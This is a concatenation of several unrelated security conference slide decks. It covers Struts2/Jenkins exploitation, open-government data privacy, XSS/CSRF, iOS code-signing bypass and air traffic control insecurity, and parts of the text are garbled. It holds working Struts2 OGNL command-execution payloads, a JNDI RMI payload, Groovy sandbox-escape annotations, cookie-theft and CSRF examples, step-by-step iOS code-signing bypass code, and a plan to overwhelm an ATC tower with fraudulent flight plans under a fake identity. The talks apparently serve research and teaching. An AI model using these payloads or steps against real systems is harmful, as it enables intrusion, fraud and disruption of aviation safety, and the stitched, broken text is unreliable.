the efforts of the attackers. Feinstein & Peck  12  Black Hat USA 2007 R Mozilla SpiderMonkey (JavaScript‐C) Engine  eferences  http://www.mozilla.org/js/spidermonkey/  Seifert, C., Welch, I. and Komisarczuk, P., “Taxonomy of Honeypots”, Victoria University of  Wellington, Wellington, 2006.  .ac.nz/comp/Publications/index‐byyear‐06.html  http://www.mcs.vuw Heritrix web crawler  http://crawler.archive.org/  Baker, N., “Archiving Websites”, HOWTO, University of Michigan, School of Information,  February 2005.  http://www.si.umich.edu/mirror/how_to/  Japanese language site apparently discussing malicious JavaScript samples  40516‐1‐5.html  http://bbs.blueidea.com/thread‐27 The Strider HoneyMonkey Project  m/honeymonkey/  http://research.microsoft.co MITRE Honeyclient Project  http://www.honeyclient.org/trac  Wang, K., “Using Honeyclients to Detect New Attacks”, ToorCon 2005.  oorCon2005.pdf  http://www.synacklabs.net/honeyclient/Wang‐Honeyclient‐T HoneyC – The Low‐Interaction Client Honeypot / Honeyclient  http://honeyc.sourceforge.net/  Caswell, B. and HD Moore, “Thermoptic Camouflage – Total IDS Evasion”, Black Hat USA  2006.  ns/bh‐usa‐06/BH‐US‐06‐Caswell.pdf  http://www.blackhat.com/presentatio ECMAScript Specification (ECMA‐262)  ational.org/publications/standards/Ecma‐262.htm  http://www.ecma‐intern Month of Browser Bugs  http://browserfun.blogspot.com/  eVade O’ Matic Module for Metasploit  http://blog.info‐pull.com/2007/01/update‐17th‐october‐2006‐aviv‐posted.html
pdf
1SDL 28Web 3RedHatApacheAmazonWeblogicRCE Weblogic 42015PyconPython2016 VIP2017Java Json ;2018Java PART 01 CONTENTS PART 02 PART 03 PART 04 01 02 03 04 PART 01 1 2 3 1SecurityManager 2 3 SecurityManager PART 02 SecurityMemberAccess <constant name="struts.excludedClasses" value=" java.lang.Object,java.lang.Runtime,java.lang.System, java.lang.Class,java.lang.ClassLoader,java.lang.Shutdown, java.lang.ProcessBuilder,ognl.OgnlContext,ognl.ClassResolver, ognl.TypeConverter,ognl.MemberAccess, ognl.DefaultMemberAccess, com.opensymphony.xwork2.ognl.SecurityMemberAccess, com.opensymphony.xwork2.ActionContext" / <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax" /> 1 2isAccessible 3 struts-default.xml Struts2 S2-001 S2-014 S2-032 S2-045 S2-057 (#p=new java.lang.ProcessBuilder('calc')).(#p.start()) (#_memberAccess['allowStaticMethodAccess']=true) .(@java.lang.Runtime@getRuntime().exec('calc')) (#container=#context['com.opensymphony.xwork2.ActionContext.container']).( #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@ class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.cle ar()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_AC CESS)).(@java.lang.Runtime@getRuntime().exec('calc')) (#[email protected]@DEFAULT_ MEMBER_ACCESS).(@java.lang.Runtime@getRuntim e().exec('calc')) S2-045 PAYLOAD ${ (#c=#request['struts.valueStack'].context). (#container=#c['com.opensymphony.xwork2.ActionContext.container'] ). (#o=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUt il@class)). ((#o.getExcludedClasses().clear())). (#o.getExcludedPackageNames().clear()). (#[email protected]@DEFAULT_MEMBER_ACCESS). (#c.setMemberAccess(#dm)).(#cmd=({'calc'})). (new java.lang.ProcessBuilder(#cmd)).start() } S2-057 PAYLOAD public class OgnlContext extends Object implements Map { public static final String CONTEXT_CONTEXT_KEY = "context"; public static final String ROOT_CONTEXT_KEY = "root"; public static final String THIS_CONTEXT_KEY = "this"; public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess"; public class OgnlContext extends Object implements Map { public static final String ROOT_CONTEXT_KEY = "root"; public static final String THIS_CONTEXT_KEY = "this"; S2-045 S2-057 Ognl Ognl S2-057 (#c=#request['struts.valueStack'].context). (#container=#c['com.opensymphony.xwork2.ActionCont ext.container']). S2-045 (#container=#context['com.opensymphony.xwork2.Acti onContext.container']) 1#context 2request.getAttribute("struts.valueStack") 3OgnlValueStackcontext PoC demo Result (#jdbc=new com.sun.rowset.JdbcRowSetImpl()).(#jdbc.setDataSourceName('rmi://1 27.0.0.1:1099/Exploit')).(#jdbc.setAutoCommit(true)) (#n=#request['struts.actionMapping'].namespace.substring(0,1)).(#rmi= 'rmi:'+#n+#n+'127.0.0.1:1099'+#n+'Exploit').(#jdbc=new com.sun.rowset.JdbcRowSetImpl()).(#jdbc.setDataSourceName(#rmi)).( #jdbc.setAutoCommit(true)) Demo PART 03 SandboxInterceptor method invoke new Instance static method set property get property set attribute get attribute super call set array get array Security-1266/CVE-2019-100300 payload 1. 2. Java 3. SECURITY-1266 SECURITY-1292 SECURITY-1318 SECURITY-1319 SECURITY-1320 SECURITY-1321 @Grab(group='foo', module='bar', version='1.0') @Grapes([@Grab(group='foo', module='bar', version='1.0')]) @GrabResolver(name='restlet.org', root='http://maven.restlet.org') @groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject()}) @AnnotationCollector([ASTTest]) @interface Lol {} @Lol(value={ import groovy.transform.ASTTest as lolwut; @lolwut(value={ }) PART 04 Oracle Java Java
pdf
Torturing Open Government Systems for Fun, Profit and Time Travel Dr. Tom Keenan FCIPS, I.S.P., ITCP, Professor Faculty of Environmental Design & Dept. of Computer Science [email protected] @drfuture decreeping.wordpress.com DEF CON 21 Las Vegas, NV August 1-4, 2013 Disclaimers These views are mine, not my employer’s, my publisher’s, my cat’s etc. I DO LIKE OPEN DATA! I just want to see it done right. Some of the vulnerabilities shown have been fixed/changed/modified. They are still instructive as cautionary tales. More results will appear in a forthcoming book from OR Books and on my blog decreeping.wordpress.com The Six Ws of Open Data What is Open Data? Who has Open Data? Why is Open Data? Where is Open Data? When is Open Data? Worrisome aspects of Open Data What is the Open Data Movement? Initiative by many governments to make their data openly available Driven by:  Calls for transparency (“it’s the taxpayers money”)  Sincere desire for innovation (“they’ll come up with some great uses for our data at that Hackathon”)  Fear (“Wikileaks is going to get this anyway; it looks better if we release it”)  Cheapness (“we don’t have to pay the developers”)  Positive sentiments about open source, transparency, “data wants to be free” Some notable examples NYC Datamine Philadelphia OpenDataPhilly Open Data Framework (Vancouver, Edmonton, Toronto and Ottawa) Open Data Challenge (EU) Direct input systems like seeclickfix.com NYC Datamine On October 6, 2009 NYC released, with great fanfare, 103 municipal data sets One listed 1100 women’s organizations in the city Release contained their private email address, secret question like “favorite pet” and answer like “fluffy” Problem #1: Neglecting to read and redact data sets before releasing! Toronto’s 311 Customer Requests System 25% are about garbage/recycling pickup Some are serious, personal etc. Location is supposed to be reported as partial postal code e.g. M4Vxxx, but e.g. WOLFE AVE & DANFORTH RD If there are enough of these slip ups, combined with Google maps, etc. they can tell a story… Problem #2: Sloppy, lazy data entry See. Click. Fix. Shame. Problem #3. Malice. Aforethought. When you offer a 20,000 € prize, things happen! 434 entries from 24 member states Who Won? Source: www.fair-play.sk Who Wouldn’t Agree with Such a Wonderful Application? A little technical aside This thing runs off multiple open databases all maintained by the Slovak government The Fair-Play Alliance has read only access How are they supposed to “take down specific data” that they don’t control? Fair-Play Alliance has appealed the ruling and is still in operation. Problem #4: Laws, policies and judges lag behind technology Of Course, Election Results Should be Open Data (right?) Did My Wife Vote for Me? Problem #5: Inference from Small Numbers Philadelphia’s OpenDataPhilly.org Includes Campaign Finance Records, which are generally required to be disclosed. “Results are freely viewable and printable but not available for download” and “empty searches take too long” It wasn’t long until I had me some .csv files to play with What We Can Learn Full “home” address provided. Tied to tax receipt so probably chosen with care I’m not sure what percentage of people try to protect their address, but in the US ‘Nationally, 27.6% of households have unlisted (telephone) numbers. In many cities the unlisted rate is over 50%.’ Source: http://www.busreslab.com/index.php/articles-and-stories/research- tips/general-research-tips/the-science-of-sampling-telephone-samples/ People often pay for privacy, need it for personal for business, reasons, etc. Campaign Finance Disclosure Rules Date Back to 1970s US Federal Elections Commission files go back to 1980. Just a reminder of what we had for data mining technology back then: Source: Wikimedia Commons There are some rather interesting addresses in the file Hmm, is that THE Ron Rivest? Search for Smith in 2010 Political Contribution Records Why Include Address? Laziness? Disambiguation? The donor files for 2010 were downloaded from OpenDataPhilly as .CSV files, imported into Microsoft Excel and sorted by the contributor name field. “Potential Duplicates” were defined as additional names that were shown identically as a name in the database, but with a different address. Results from most common US names Name Number of Entries “Dups” Smith 588 8 Johnson 426 3 Williams 400 4 Conclusion: Having home address didn’t do a lot of good in resolving possible duplicates. Are those addresses real home addresses? A significant number of contributors (86/588 of Smith, 63/426 of Johnson, 77/400 of Williams) listed the same address, 1719 Spring Garden Street, Philadelphia, PA., 19130. Viewing this location on Google Maps Streetview shows that it is the office of the I.B.E.W. Electricians Union. Problemas ? #6 Under-estimating the desire and ability of someone to torture the database for info #7 Inconsistent data. Providing contributor’s “address” is a legal requirement but some people use non-home, e.g. union office #8 The “why” e.g. of requiring “address” needs to be re-examined in the light of new “hows” -- tools like mapping APIs, big data, jigsawing of public and private databases This is an old (6 years ago) jigsawing experiment I did… Some things have gotten better, many have gotten worse! Clive Beddoe, then-CEO of WestJet Airlines www.canada411.ca City of Calgary Property Tax Assessment Site in 2007 Now “addressed” by a combination of data changes, technical and legal safeguards Problem #9: “Data Jigsawing” of public and private databases Don’t get arrested in Florida What if this was Your Son? 01/08/2010 04:00PM COU***EY, BOBBY DOB 11/10/1997 (age = 12 yrs. 2 mos) 810.02 - BURGLARY DWELLING 18900 CORTEZ BV Problem #10: Your face is your newest privacy risk as facial recognition goes mainstream. Data Journalism: Playing with Pistol Permits Original: FOI request by The Journal News, lohud.com Provocative Question: Should the Rich Have Less Privacy? People who run companies that get contracts, give contributions (especially large ones) have money In the US there is some sentiment that the SNAP Food Stamp program is abused In theory we could post that Ms. X bought junk food (allowed) and attempted to buy beer with her food stamps...but we don’t. Indirect Risks of Government Disclosure You can’t get it back. Companies like ChoicePoint Systems (now part of Lexis/Nexis) are grabbing and storing it New technologies (think DNA matching) “Genetic Genealogy” Ancestry.com 14 years of operation 6,000,000,000 records, mostly from public sources 20,000,000 family trees Or try the mobile service Problem #11: Information about DNA is getting into our hands (e.g. from 23andme.com) and where else? Beware of Time Traveling Robots from the Future Tools An inquiring mind A motive (financial, ID theft, journalism, whistle blowing) Scripting languages ScraperWiki, collection of Ruby, Python, PHP scripts and plenty of ideas SQL Lite and other databases Hackathons Problem #12: Data collected now, and in the past, can will be analyzed, cross-referenced, etc. in the future Even if it’s always been public, now it’s “super-public” Data that used to be public but buried in a dusty courtroom basement Now instantly available, searchable, storable “if it happened in the past ten years, it might be online. If it happened in the past five years, it’s probably online. And if it happened in the past two years, it’s almost certainly online.” (Source: Fertig and Thompson, Wild West 2.0, ISBN-13: 978-0-8144-1509-2) The Dirty Dozen (and growing) Inadvertent disclosure Sloppy data entry Malicious misinformation Law/Policy lag Inference from Small Numbers Assuming nobody will torture data The Dirty Dozen (and growing) Inconsistent data Ignoring new tools like mapping, visualization Data jigsawing Facial recognition Powerful data like genetic info in hands of the consumer Retroactive analysis with better tools, databases, etc. Some recommendations -Scan files carefully for direct PII that may be included; -Consider ways in which PII may be revealed indirectly; -Act promptly to remove database that are shown to reveal PII, and retain clear legal rights to do so; -Anticipate the cross-correlation of government data with other databases, public and private; -Provide a convenient mechanism for users to express privacy concerns and follow up; -Sponsor hackathons before the data is released to try to foresee unanticipated uses; -Negotiate strong privacy protection on data provided to the private sector; Thank you! Dr. Tom Keenan, FCIPS [email protected] This image courtesy Elise Pelchat www.conceptsforall.uqam.ca
pdf
You Can You Can’’t See Me t See Me!! !! 看不見的網站攻擊 看不見的網站攻擊 Unohope / Trueman PDF created with pdfFactory Pro trial version www.pdffactory.com 講者簡介 講者簡介 u Trueman u http://roamer.cc u 網駭科技技術顧問,曾任職於入口網站、 金融業、資安原廠與專業資安服務廠商; 專長於網路滲透測試、駭客攻擊手法研 究。並曾擔任多場資安研討與發表會主講 人。 PDF created with pdfFactory Pro trial version www.pdffactory.com 看不見的網站攻擊手法 看不見的網站攻擊手法 u 網站管理者在面對網站攻擊時的反應通常 總是慢半拍,往往等到網站淪陷了!才有 所警覺!! u 有許多的間接式網站攻擊手法是管理者所 難以偵測的,在這種情況下,網站管理者 該如何保障網站使用者的安全呢? PDF created with pdfFactory Pro trial version www.pdffactory.com 近期常見間接式網站攻擊手法 近期常見間接式網站攻擊手法 u XSS u CSRF u Redirect u 信任網站 u And… PDF created with pdfFactory Pro trial version www.pdffactory.com xss xss u Cross Site Scripting u 跨站腳本攻擊 u 輸入值驗證錯誤(Input Validation Error)的安全弱點 u 攻擊對象非網站本身 u 『你出包,我倒楣,他真爽!』 PDF created with pdfFactory Pro trial version www.pdffactory.com Cross Cross--Site Scripting Site Scripting u 在 Web 應用程式中,當 參數 或 資料 顯示成 HTML 網頁前,未檢查內容是否含 HTML tag 或 網頁腳本,導致被駭客利用,攻擊其他瀏覽網站 的無辜使用者 u 簡單的攻擊例子 • http://www.victim.com/function.cgi?data=<scr ipt>alert("XSS!")</script> • http://www.victim.com/function.cgi?data=<ifr ame src="<evilURL>"></iframe> PDF created with pdfFactory Pro trial version www.pdffactory.com 常見利用 常見利用 u 竊取cookie等機敏資訊 • <script>alert(document.cookie)</script> u 掛馬 • <iframe src=”惡意連結位址”></iframe> u 網路釣魚 • <iframe src=”釣魚網站位址”></iframe> PDF created with pdfFactory Pro trial version www.pdffactory.com 常見散播管道 常見散播管道 u 廣告信 u 論壇發文 u 縮網址 u 關鍵字與網頁看板廣告 u …etc PDF created with pdfFactory Pro trial version www.pdffactory.com Cross Cross--Site Request Forgery Site Request Forgery u 簡稱CSRF或XSRF u 廣義XSS的一種 u 針對登入後的網站執行操作 PDF created with pdfFactory Pro trial version www.pdffactory.com Alice Alice轉帳 轉帳100 100元給 元給Bob Bob時 時 u u POST http://bank.com/transfer.do HTTP/1.1 POST http://bank.com/transfer.do HTTP/1.1 u u . . . . . . u u . . . . . . u u . . . . . . u u Content Content--Length: 19; Length: 19; u u user=BOB&money=100 user=BOB&money=100 PDF created with pdfFactory Pro trial version www.pdffactory.com 惡意使用者 惡意使用者Maria Maria u 而另一位惡意的使用者Maria留意到在轉帳的過程中,網頁 程式會執行底下的URL與參數: GET http://bank.com/transfer.do?acct=BOB&amount=100 u Maria打算利用這個網頁程式的特性來誘騙Alice轉帳給自 己,只要Alice是在登入bank.com的狀態下執行底下語法, 將會自動從戶頭中轉帳100000到Maria的戶頭: http://bank.com/transfer.do?acct=MARIA&amount=100000 u 接下來Maria就只要思考該怎樣偽裝這段連結讓Alice或其 他該銀行的用戶不小心執行,就可以坐著等待大筆鈔票被 匯進自己的戶頭了! PDF created with pdfFactory Pro trial version www.pdffactory.com 相關慘案 相關慘案 u Samy Worm • http://en.wikipedia.org/wiki/Samy u Gmail • http://www.gnucitizen.org/blog/google-gmail-e- mail-hijack-technique/ u CSRFDB • http://csrf.0x000000.com/csrfdb.php PDF created with pdfFactory Pro trial version www.pdffactory.com Redirect Redirect u 各大入口網站普遍存在的問題 u 使用者可能被導引至任意網站 u 大量遭垃圾信件利用 u 可利用來繞過部份網站偵測機制 PDF created with pdfFactory Pro trial version www.pdffactory.com 案例分析與進階利用 案例分析與進階利用 PDF created with pdfFactory Pro trial version www.pdffactory.com 信任網站 信任網站 PDF created with pdfFactory Pro trial version www.pdffactory.com MSN新聞網站被掛馬? PDF created with pdfFactory Pro trial version www.pdffactory.com 真實情況 真實情況 u 被入侵的頁面皆為國際厚生網站提供之新 聞 u 實際被入侵的網站為國際厚生網站 u MSN網站引用國際厚生網站提供之資料, 但並未做檢驗與過濾,導致刊登的新聞內 容包含惡意連結 PDF created with pdfFactory Pro trial version www.pdffactory.com 還有哪些威脅呢 還有哪些威脅呢?? We will show you We will show you!! !! PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Exploit Mitigation Techniques on iOS Max Bazaliy A Journey Through August 4-7, 2016 About me 1 2 3 4 5 6 7 8 9 10 11 12 o  From Kiev, Ukraine o  Staff Engineer at Lookout o  Focused on XNU, Linux and LLVM internals o  Interested in jailbreak techniques o  Worked on obfuscation and DRM in a past o  Member of Fried Apple team August 4-7, 2016 Agenda 1 2 3 4 5 6 7 8 9 10 11 12 o  iOS security mechanisms o  Function hooking o  iOS 8 & 9 exploit mitigations o  Bypassing code signatures o  Future codesign attacks August 4-7, 2016 o  Memory protections o  Code signing o  Sandbox o  Secure boot process o  Data protection o  Kernel Patch Protection 1 2 3 4 5 6 7 8 9 10 11 12 iOS security mechanisms August 4-7, 2016 o  No way to change existing page permission o  Pages can never be both writable and executable o  No dynamic code generation without JIT o  Non executable stack and heap o  ASLR / KASLR 1 2 3 4 5 6 7 8 9 10 11 12 Memory protections August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Allocating new regions kern_return_t vm_map_enter(…){! ...! #if CONFIG_EMBEDDED! if (cur_protection & VM_PROT_WRITE){! if ((cur_protection & VM_PROT_EXECUTE) && !entry_for_jit){! printf("EMBEDDED: curprot cannot be write+execute. turning off execute\n”);! cur_protection &= ~VM_PROT_EXECUTE;! }! }! #endif /* CONFIG_EMBEDDED */! ...! } http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c! August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Changing existing regions kern_return_t vm_map_protect(…){! ...! #if CONFIG_EMBEDDED! if (new_prot & VM_PROT_WRITE) {! if ((new_prot & VM_PROT_EXECUTE) && !(curr->used_for_jit)) {! printf("EMBEDDED: %s can't have both write and exec at the same time\n", __FUNCTION__);! new_prot &= ~VM_PROT_EXECUTE;! }! }! #endif! ...! } http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c! August 4-7, 2016 o  Mandatory Access Control Framework (MACF) o  Code must be signed by trusted party o  Signed page hashes match running code 1 2 3 4 5 6 7 8 9 10 11 12 Code signing August 4-7, 2016 o  LC_CODE_SIGNATURE command points to a CSBlob o  Key component of blob is the Code Directory o  File page hashes are individually stored into slots o  Special slots (_CodeResources, Entitlements etc) o  CDHash: Master hash of code slots hashes 1 2 3 4 5 6 7 8 9 10 11 12 Code signature format August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 CS on load validation in kernel __mac_execve \ posix_spawn exec_activate_image exec_mach_imgact load_machfile parse_machfile load_code_signature ubc_cs_blob_add mac_vnode_check_signature August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 CS page validation in kernel vm_fault_enter vm_page_validate_cs vm_page_validate_cs_mapped cs_validate_page August 4-7, 2016 CS page validation o  vm_fault called on a page fault o  A page fault occurs when a page is loaded o  Validated page means that page have hash in CSDir o  Tainted page calculated page hash != stored page hash o  Process with invalid codesign status will be killed 1 2 3 4 5 6 7 8 9 10 11 12 August 4-7, 2016 When to verify ? /*! * CODE SIGNING:! * When soft faulting a page, we have to validate the page if:! * 1. the page is being mapped in user space! * 2. the page hasn't already been found to be "tainted"! * 3. the page belongs to a code-signed object! * 4. the page has not been validated yet or has been mapped for write.! */! ! #define VM_FAULT_NEED_CS_VALIDATION(pmap, page) \! ((pmap) != kernel_pmap /*1*/ && \! !(page)->cs_tainted /*2*/ && \! (page)->object->code_signed /*3*/ && \! (!(page)->cs_validated || (page)->wpmapped /*4*/)) 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Code sign enforcement o  Apple Mobile File Integrity (AMFI) o  Registering hooks in MACF o  mpo_proc_check_get_task o  mpo_vnode_check_signature o  mpo_vnode_check_exec o  and many more... 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Code sign enforcement process sysent AMFI amfid libmis.dylib trust cache MACF 13 14 15 16 17 18 19 20 21 22 23 24 Kernel land User land August 4-7, 2016 The story about function hooking o  Add new security features o  Debugging 3rd party code o  Logging and tracing API calls o  Reverse engineering and de-obfuscation o  Interposing to the rescue 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Interposing - DYLD_INFO and LINKEDIT o  Rebase Info - contains rebasing opcodes o  Bind Info - for required import symbols o  Lazy Bind Info - symbol binding info for lazy imports o  Weak Bind Info – symbol binding info for weak imports o  Export Info - symbol binding info for exported symbols Details - http://newosxbook.com/articles/DYLD.html 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Having fun with bind info case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:! segIndex = immediate;! address = segOffsets[segIndex] + read_uleb128(&p, end);! break;! case BIND_OPCODE_ADD_ADDR_ULEB:! address += read_uleb128(&p, end);! break;! case BIND_OPCODE_DO_BIND:! *((void **)address) = new_impl;! address += sizeof(void *);! break;! case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:! *((void **)address) = new_impl;! address += read_uleb128(&p, end) + sizeof(void *);! break;! ! https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachOCompressed.cpp! 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 dyld_shared_cache 13 14 15 16 17 18 19 20 21 22 23 24 o  All frameworks and libraries o  Loaded into each process space o  Used for performance and security reasons o  ASLR slide randomized at boot time August 4-7, 2016 Fixed offset in a cache 13 14 15 16 17 18 19 20 21 22 23 24 ssize_t send(int a1, const void *a2, size_t a3, int a4)! {! return MEMORY[0x340480C8](a1, a2, a3, a4, 0, 0);! } ssize_t send(int a1, const void *a2, size_t a3, int a4)! {! return __sendto_shim(a1, (int)a2, a3, a4, 0, 0);! } iOS 8 iOS 9 August 4-7, 2016 Fixed offset in a cache 13 14 15 16 17 18 19 20 21 22 23 24 ssize_t send(int a1, const void *a2, size_t a3, int a4)! {! return MEMORY[0x340480C8](a1, a2, a3, a4, 0, 0);! } ssize_t send(int a1, const void *a2, size_t a3, int a4)! {! return __sendto_shim(a1, (int)a2, a3, a4, 0, 0);! } iOS 8 iOS 9 August 4-7, 2016 Trampolines ? 13 14 15 16 17 18 19 20 21 22 23 24 jmp function_B nop Orig instruction 3 Orig instruction 4 Orig instruction 5 Orig instruction 6 Function A Hook instruction 1 Hook instruction 2 Hook instruction 3 Hook instruction 4 Hook instruction 5 jmp orig_code Function B Orig instruction 1 Orig instruction 2 jmp func_A + n Original A code August 4-7, 2016 Trampolines ! o  How to change memory to RW ? o  How to switch back to RX ? o  How to bypass a codesign check ? 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Change a memory to RW o  What if mmap new page on a same address ? void *data =! mmap(addr & (~PAGE_MASK),! PAGE_SIZE, ! PROT_READ|PROT_WRITE,! MAP_ANON|MAP_PRIVATE|MAP_FIXED,! 0, 0); 13 14 15 16 17 18 19 20 21 22 23 24 August 4-7, 2016 Change a memory to RX o  What if mprotect ? ! mprotect(addr & (~PAGE_MASK),! PAGE_SIZE,! PROT_READ|PROT_EXEC);! 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 ü  Copy original page content ü  mmap new RW page over ü  Copy original content back ü  Write trampoline ü  mprotect to RX o  Do something with codesign(?) Sounds like a plan 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 Codesign bypass o  Page is checked on page fault o  How we can prevent page fault ? o  What if we mlock page ... ! mlock(data & (~PAGE_MASK)), PAGE_SIZE);! o  … and it works! 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 Full attack ü  Get function pointer, get page base ü  memcpy page contents to temporary buffer ü  mmap new RW page over ü  memcpy original content back ü  mlock page ü  memcpy trampoline code ü  mprotect page to RX 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 We need to go deeper o  Hook fcntl in dyld to skip codesign validation fsignatures_t siginfo;! siginfo.fs_file_start=offsetInFatFile; siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff);! siginfo.fs_blob_size=codeSigCmd->datasize;! int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo); https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachO.cpp! 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 Loading unsigned code o  mlock all pages with executable permission during mapping if ( size > 0 ) {! if ( (fileOffset+size) > fileLen ) {! ...! }! void* loadAddress = xmmap((void*)requestedLoadAddress, size, protection, MAP_FIXED | MAP_PRIVATE, fd, fileOffset);! ...! }! } https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachO.cpp! 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 cs_bypass ü  Hook fcntl and return -1 ü  Hook xmmap and mlock all regions that have exec permission ü  dlopen unsigned code J https://github.com/kpwn/921csbypass 25 26 27 28 29 30 31 32 33 34 35 36 August 4-7, 2016 Future codesign attacks 25 26 27 28 29 30 31 32 33 34 35 36 o  Hide executable segment o  Hook dyld functions o  Hook libmis functions August 4-7, 2016 @mbazaliy 25 26 27 28 29 30 31 32 33 34 35 36
pdf
Air Traffic Control: Insecurity and ADS-B Righter Kunkel, CISSP, CISA Security Researcher defcon 17 defcon 17 Righter Kunkel 2 Agenda Who am I? ATC Background DOS on a Tower State of Airline Security Where are we going? ADS-B defcon 17 Righter Kunkel 3 Who am I? Security Field for >12 years Worked with secure operating systems: B1, B2 Firewalls, proxies Trainer CISSP, CISA Ham Radio Private Pilot defcon 17 Righter Kunkel 4 First Is flying safe? YES Are planes going to fall out of the sky after this talk? NO Is flying safe after this talk? YES Is some of this talk illegal? YES Disclaimer: Don’t do this! defcon 17 Righter Kunkel 5 Pilots? Is any one a pilot? defcon 17 Righter Kunkel 6 Our Focus We are not going to focus on: Airport physical security Cockpit door security X-Ray security Our focus: Computers used by ATC How airplanes report their position to ATC NexGen ATC defcon 17 Righter Kunkel 7 Why? ATC is busy moving planes through the air ATC not focused on network security of equipment being used Who would want to hack a radar scope? defcon 17 Righter Kunkel 8 Some ATC Background ATC VOR Transponders Flight Plans defcon 17 Righter Kunkel 9 ATC What is ATC? Source: GAO/T GAO/T GAO/T GAO/T----AIMD AIMD AIMD AIMD----00 00 00 00----330 FAA Computer Security 330 FAA Computer Security 330 FAA Computer Security 330 FAA Computer Security defcon 17 Righter Kunkel 10 VOR What are VOR’s? VHF Omni-directional Radio Range Source: Wikipedia defcon 17 Righter Kunkel 11 Airplane Transponder Source: Wikipedia defcon 17 Righter Kunkel 12 Mode-S Transponders Primary Surveillance Radar (PSR) Paint the skin Secondary Surveillance Radar (SSR) Asks planes transponder to send out a signal and data, time based Get unconfirmed ALT from plane Source: Wikipedia defcon 17 Righter Kunkel 13 How do Flight Plans Work? Pilot submits a requested route Goes into a central computer Real flight plan gets printed out at ATC Source: Wikipedia defcon 17 Righter Kunkel 14 Some interesting attacks in the past D.B. Cooper 9/11 People trying to fake their own death defcon 17 Righter Kunkel 15 Who Was D.B. Cooper? Legendary Skyjacker $200,000 Parachuted out the back of a 727 in flight Never found Source: Wikipedia defcon 17 Righter Kunkel 16 9/11 I only want to focus on one fact: They turned the transponder off We have not developed anything to mitigate that attack country wide ADIZ in DC only defense defcon 17 Righter Kunkel 17 Faking Your Own Death A Pilot tried to bluff ATC about an emergency Set plane on autopilot Parachuted out of plane Plane intercepted by F16s Plane crashed Pilot got caught defcon 17 Righter Kunkel 18 Switching Gears My proposed attack: DOS on an ATC tower defcon 17 Righter Kunkel 19 A DOS on an ATC Tower 1. Get a fake ID (Of course this is illegal) 2. Get an aviation medical using fake id (also illegal) 3. Get issued a student pilot certificate with certificate number 4. Log into duat.com 5. Create multiple flight plans and submit 6. All flight plans get printed at tower defcon 17 Righter Kunkel 20 Medical Cert Source: Wikipedia defcon 17 Righter Kunkel 21 Web Sites Web based way to get weather briefings and enter flight plans Duat.com Duats.com defcon 17 Righter Kunkel 22 duat.com defcon 17 Righter Kunkel 23 duat.com defcon 17 Righter Kunkel 24 duat.com defcon 17 Righter Kunkel 25 duats.com defcon 17 Righter Kunkel 26 Telnet access to duats.com defcon 17 Righter Kunkel 27 Or Telephone Numbers Source: A/FD Source: A/FD defcon 17 Righter Kunkel 28 Or Radio Jam the ATC tower frequencies defcon 17 Righter Kunkel 29 State of Airline Insecurity I then stepped back and looked around. defcon 17 Righter Kunkel 30 FAA Insecurity A published report came out: ATC_Web_report.pdf Included on the CD defcon 17 Righter Kunkel 31 Test Results Wow! defcon 17 Righter Kunkel 32 FAA Network Infrastructure The connection that should never happen defcon 17 Righter Kunkel 33 IDS Sensors Who needs IDS defcon 17 Righter Kunkel 34 Leaked Data From Report ATC_Web_report.pdf I guess we now know what networks are vulnerable defcon 17 Righter Kunkel 35 Where are We Going? IDS by Feb. 2010 NextGen ATC ADS-B defcon 17 Righter Kunkel 36 NextGen ATC Converting from proprietary hardware to commercial off the shelf hardware Phasing out radar Airplanes transponder will report Lat., Long., and Alt. in clear txt ADS-B defcon 17 Righter Kunkel 37 ADS-B Insecurity Who am I and where am I in one unencrypted packet GPS will be the backbone of NextGen Oh, and GPS sats are failing faster than expected One could easily fake an ADS-B transmission No radar to verify true position defcon 17 Righter Kunkel 38 Call to Action Listen to ATC View ADS-B broadcasts Become a Pilot defcon 17 Righter Kunkel 39 Conclusion ATC Background DOS on a Tower State of Airline Security Where are we going? ADS-B defcon 17 Righter Kunkel 40 Questions ? defcon 17 Righter Kunkel 41 References http://en.wikipedia.org/wiki/D._B._Cooper http://www.oig.dot.gov/StreamFile?file=/data/pdfdocs/ATC_Web_Report.pdf http://www.airsport-corp.com/adsb2.htm http://online.wsj.com/article/SB124165272826193727.html# http://en.wikipedia.org/wiki/Pilot_certification_in_the_United_States Airport/Facility Directory; FAA Product ID:AFDSW ; www.naco.faa.gov http://en.wikipedia.org/wiki/Air_traffic_control_radar_beacon_system http://en.wikipedia.org/wiki/VHF_omnidirectional_range GAO, FAA COMPUTER 